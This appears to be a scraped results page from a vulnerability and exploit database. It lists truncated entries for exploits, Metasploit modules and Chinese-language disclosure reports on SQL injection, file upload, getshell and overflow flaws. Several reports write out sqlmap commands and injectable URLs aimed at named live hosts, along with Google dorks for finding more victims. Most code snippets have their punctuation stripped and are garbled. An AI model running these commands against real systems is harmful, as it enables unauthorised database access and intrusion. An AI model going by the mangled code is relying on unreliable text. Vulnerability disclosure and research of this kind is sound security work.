56796 matches found
WordPress ShortCode Plugin 1.1 - Local File Inclusion Vulnerability
No description provided by source. !/usr/bin/env python -- coding:utf-8 -- from pocsuite.net import req from pocsuite.poc import Output, POCBase from pocsuite.utils import register class TestPOCPOCBase: vulID = '87214' version = '1' vulDate = '1409760000' createDate = '1442937600' references =...
Internet Explorer MS14-029 Memory Corruption PoC
No description provided by source. !doctype html html head meta http-equiv="Cache-Control" content="no-cache"/ script function stc var Then = new Date; Then.setTimeThen.getTime + 1000 3600 24 7 ; document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString; function cid var swf = 0; try...
Firefox WebIDL Privileged Javascript Injection
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 Msf::Exploit::Remote Rank = ExcellentRanking include...
cmseasy 后台缓存配置文件未过滤一个字符导致getshell
简要描述： cmseasy 管理员身份 后台缓存配置文件，没有过滤一个字符导致getshell 详细说明： 啥都不说了 直接看代码： 我们直接到 然后我们分析一下代码: system.php:lines:67: ifaddslashes$POST'customerinfo' $customerinfo='true'; else $customerinfo='false'; $GLOBALS'celsysteminfo'-confaddslashes$POST'url', addslashes$POST'template',...
Wing FTP Server Authenticated Command Execution
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def...
glibc Off-by-One NUL Byte gconv_translit_find Exploit
No description provided by source. // // Full Exploit: http://www.exploit-db.com/sploits/CVE-2014-5119.tar.gz // // // --------------------------------------------------- // CVE-2014-5119 glibc gconvtranslitfind exploit // ------------------------ taviso & scarybeasts ----- // // Tavis Ormandy...
PhpWiki - Remote Command Execution
No description provided by source. / / / / / / // / / / / / / / \ | /| / / / /// / / / // / // / / // / / / / // / |/ |/ / / , / / // ,/, .// // ./|/|///|// // // // Diskovered in Nov/Dec 2011 import urllib import urllib2 import sys def banner: print " " print " / / / / /" print " / // / / / /...
ntopng 1.2.0 - XSS Injection
No description provided by source. ntopng 1.2.0 XSS injection using monitored network traffic ntopng is the next generation version of the original ntop, a network traffic probe and monitor that shows the network usage, similar to what the popular top Unix command does. The web-based frontend of...
HTML Help Workshop 1.4 - (SEH) Buffer Overflow
No description provided by source. ---------------------------------------------------------------------------------------------------- Exploit Title: HTML Help Workshop - SEH Buffer Overflow Date: August 24 2014 Exploit Author: Moroccan Kingdom MKD Software Link:...
ManageEngine DeviceExpert 5.9 - User Credential Disclosure
No description provided by source. User credential disclosure in ManageEngine DeviceExpert 5.9 Discovered by Pedro Ribeiro [email protected], Agile Information Security ========================================================================== Background on the affected product: "DeviceExpert is a...
vBulletin 4.0.x - 4.1.2 (search.php, cat param) - SQL Injection Exploit
No description provided by source. vBulletin 4.0.x = 4.1.2 AUTOMATIC SQL Injection exploit Author: D35m0nd142, [email protected] Google Dork: inurl:search.php?searchtype=1 Date: 02/09/2014 Vendor Homepage: http://www.vbulletin.com/ Tested on: vBulletin 4.1.2 Usage: perl exploit.pl http://targe...
Mulitple WordPress Themes (admin-ajax.php, img param) - Arbitrary File Download
No description provided by source. WordPress CuckooTap Theme & eShop Arbitrary File Download Risk: High CWE number: CWE-200 Author: Hugo Santiago Contact: [email protected] Date: 31/08/2014 Vendor Homepage: http://themeforest.net/item/cuckootap-one-page-parallax-wp-theme-plus-eshop/3512405...
Plogger 1.0-RC1 - Authenticated Arbitrary File Upload
No description provided by source. !/usr/bin/env python Exploit Title: Plogger Authenticated Arbitrary File Upload Date: Feb 2014 Exploit Author: b0z Vendor Homepage: www.plogger.org Software Link: www.plogger.org/download Version: Plogger prior to 1.0-RC1 CVE : 2014-2223 import hashlib import os...
NRPE 2.15 - Remote Code Execution Vulnerability
No description provided by source. !/usr/bin/python Exploit Title : NRPE = 2.15 Remote Code Execution Vulnerability Discovered by : Dawid Golunski dawid at legalhackers dot com legalhackers.com Exploit Author : Claudio Viviani http://www.homelab.it [email protected] [email protected]...
cmseasy csrf导致sql注入绕过union getshell
简要描述： 上一次做了一个csrf+sql注入getshell的 这一次我继续发一个，由于此属于一个get类型的，所以很简单的，管理员根本就不用去点击，就能触发sql并且getshell 详细说明： 首先我们分析一下sql语句： admin/live/header.php:line:16-21 include'../../include/config.inc.php'; includeCEROOT.'/include/admin/check.inc.php'; includeCEROOT.'/include/celive.class.php'; $adminheader = new...
Tinyshop刷钱漏洞
简要描述： 听说通用型给力了，来测试下 详细说明： 之前看到一个它的刷钱漏洞，不过补了，后来一看还是可以。。,只修复之前的post覆盖data数组 /protected/controllers/ucenter.php,393行 public function infosave $rules = array'name:required:昵称不能为空!','realname:required:真实姓名不能为空!','sex:int:性别必需选择！','birthday:date:生日日期格式不正确！','mobile:mobi:手机格式不正确','phone:phone:电话格式不正确';...
System V Derived /bin/login Extraneous Arguments 缓冲区溢出漏洞
No description provided by source...
NetWare 6.5 SunRPC Portmapper CALLIT Stack 缓冲区溢出漏洞
No description provided by source...
Novell NetWare LSASS CIFS.NLM Driver Stack 缓冲区溢出漏洞
No description provided by source...
HP-UX LPD 命令执行漏洞
No description provided by source...
74CMS 最新版二次SQL注入可越权操作两处（问题总结）
简要描述： 74CMS 最新版二次SQL注入可越权操作两处 详细说明： 74CMS最新版：74cmsv3.4.20140820 官方8.20号更新 文件：/user/personal/personalresume.php //创建简历 -保存基本信息 elseif $act=='make1save' $captcha=getcache'captcha'; $postcaptcha = trim$POST'postcaptcha'; if$captcha'verifyresume'=='1' && empty$postcaptcha && intval$REQUEST'pid'===0...
CMSeasy SQL注入漏洞一发（bypass自身与360waf）
简要描述： 也不知道重复没有- -! 详细说明： /lib/default/archiveact.php： function respondaction includeonce ROOT . '/lib/plugins/pay/' . front::$get'code' . '.php'; $payclassname = front::$get'code'; $payobj = new $payclassname; $uri = $SERVER"REQUESTURI"; $uriget = strstr$uri, '?'; $uriget = strreplace'?', '',...
某通用型电子采购平台SQL注射（涉及大量企业）
简要描述： sql注入，应该没重复吧 详细说明： 之前大牛提交过，其他的还没搜到 WooYun: 某通用型电子采购平台SQL注射（涉及大量企业） google:inurl:custom/CompanyCGList.aspx?ComId= 目测为一采通电子采购平台，所属：北京网达信联科技发展有限公司 百度百科介绍：http://baike.baidu.com/view/5293437.htm?fr=aladdin 涉及大量企业 其中ComId参数存在注入 http://eps.alnan.com.cn/custom/CompanyCGList.aspx?ComId=1...
用友FE办公平台通用SQL注入（2个）
简要描述： 用友FE办公平台通用SQL注入（2个） 详细说明： SQL注入1 漏洞文件及参数 /witapprovemanage/report/depReimburse.jsp?depid=1 漏洞证明： sqlmap.py -u "http://oa.shunhengli.com:9090/witapprovemanage/report/depReimburse.jsp?depid=1" sqlmap.py -u "http://oa.shunhengli.com:9090/witapprovemanage/report/depReimburse.jsp?depid=1" --dbs...
Samba 2.2.8 trans2open 缓冲区溢出漏洞
No description provided by source...
Samba 3.3.13 chain_reply 内存破坏漏洞
No description provided by source...
Samba 3.0.24 lsa_io_trans_names 堆溢出漏洞
No description provided by source...
Quantum vmPRO 3.1.2 后门
No description provided by source...
Linux BSD-derived Telnet Service Encryption Key ID 缓冲区溢出漏洞
No description provided by source...
Exim and Dovecot Insecure Configuration 命令执行漏洞
No description provided by source...
D-Link Unauthenticated UPnP M-SEARCH Multicast 命令执行漏洞
No description provided by source...
Samba SetInformationPolicy AuditEventsInfo 堆溢出漏洞
No description provided by source...
万户OA某页面通用性SQL注入（又影响N个政府网和医疗机构）
简要描述： 其实我一直琢磨，之前发的那个，为什么有一部分不能注入，后来找了找，发现不能注入的都是oracle数据库，很好奇。。。然后……就发现了这个通用注入。。例子中，涉及淮北市卫生局，内蒙古海勃湾区市政府、怀远县政府等多家政府单位和医疗机构。在注入时貌似有些限制，凌晨1:45了，就不继续测试了，该睡觉了。。 详细说明： 万户OA协同管理系统，存在POST注入 问题链接：defaultroot/mobile/index.jsp 该登陆框，username处没有做过滤，导致了POST注入 详细看图吧。。。 漏洞证明：...
Zoomla x2.0 /user/iServer/FiServerInfo.aspx 任意文件下载漏洞
No description provided by source...
用友软件协作办公平台通用型任意文件上传getshell
简要描述： 通杀getshell 详细说明： 上传点： /oaerp/ui/sync/excelUpload.jsp 思路： 1.绕过javascript限制，上传小马； 2.根据小马命名规则getshell javascript代码： function upload var filePath = j$"file".val; if filePath == "" j$"file".click; return; var fileExt = filePath.substringfilePath.lastIndexOf"."; if fileExt == ".xls" || fileExt ==...
用友系统敏感信息泄露+SQL注入
简要描述： 用友系统敏感信息泄露+两个SQL注入 详细说明： 下面的连接存在信息泄露+两个SQL注入 sql注入1：/sys/sortListUI.jsp?searchKeyvalue=8 sql注入2：/witapprovemanage/report/comReimburse.jsp?comid=1 http://oa.hzuf.com:9090/sys/sortListUI.jsp?searchKeyvalue=8 sqlmap -u "http://oa.shunhengli.com:9090/sys/sortListUI.jsp?searchKeyvalue=1&lx=1"...
PHPWind v9.0 /src/windid/service/user/srv/WindidUserService.php 远程密码修改漏洞
No description provided by source...
siteserver 4.0 /Beta/dialog/forget.aspx SQL注入漏洞
No description provided by source...
Wordpress 2.6.6 /wysija_newsletters/trunk/helpers/back.php 任意文件创建漏洞
/wp-content/plugins/wysija-newsletters/helpers/back.phpfunction verifycapability if isset $REQUEST'page' && substr $REQUEST'page' ,0 ,7 == 'wysija' switch $REQUEST'page' case 'wysijacampaigns': $roleneeded = 'wysijanewsletters'; break; case 'wysijasubscribers': $roleneeded = 'wysijasubscribers';...
74CMS 最新版二次SQL注入多出可越权操作
简要描述： 74CMS 最新版二次SQL注入多出可越权操作 详细说明： 74CMS最新版：74cmsv3.4.20140820 官方8.20号更新 文件：/user/personal/personalresume.php //保存-求职意向 elseif $act=='make2save' $resumeuid=intval$SESSION'uid'; $resumepid=intval$REQUEST'pid'; if $resumeuid==0 || $resumepid==0 showmsg'参数错误！',1;...
VTLS-Virtua 2014 /web_reports/cgi-bin/InfoStation.cgi SQL注入漏洞
No description provided by source...
turbomail文件读取漏洞
简要描述： 登录情况下有效。 详细说明： Web.xml中有个j2me的servlet 打开反编译出来的J2MEServlet.java，有以下的代码： else if ACTIONTYPE.equals"ACTIONVIEWEMAILATTACHS" / 348 / String sessionId = dataInputStream.readUTF; / 349 / if sessionId == null / 350 / return; / / / / / 353 / String mbtype = dataInputStream.readUTF; / 354 / String...
Qibo Menhu 4.0 /meng.php 后门
No description provided by source...
Tenda A5s Router 3.02.05 登录绕过漏洞
No description provided by source...
oxwall 1.7.0 /users.php 跨站脚本漏洞
No description provided by source...
嘉缘人才系统SQL注入导致任意用户登陆
简要描述： 嘉缘人才系统SQL注入导致任意用户登陆 详细说明： 文件member/index.php require'check.php'; ifempty$do $do= ''; $titstr="会员中心"; $usertype=getcookie'usertype';$ut=''; $usertype=='pmember'&&$ut='person'; $usertype=='cmember'&&$ut='company'; $usertype=='smember'&&$ut='school'; $usertype=='tmember'&&$ut='train';...
苹果cms8 sql盲注
简要描述： 苹果cms8 sql盲注 详细说明： module/vod.php:lines154-176: $tpl-P"des" = $tpl-P"des" . " Tag为" . $tpl-P"tag"; $tpl-P"where" = $tpl-P"where" . " AND instrdtag,'".$tpl-P'tag'."'0 "; $tpl-P'typepid' = 0; if!isN$tpl-P"typeid" $typearr = $MACCACHE'vodtype'$tpl-P'typeid'; if isarray$typearr $tpl-P'typepid' ...
Linux udev 1.4.1 Netlink Local 权限提升漏洞
No description provided by source...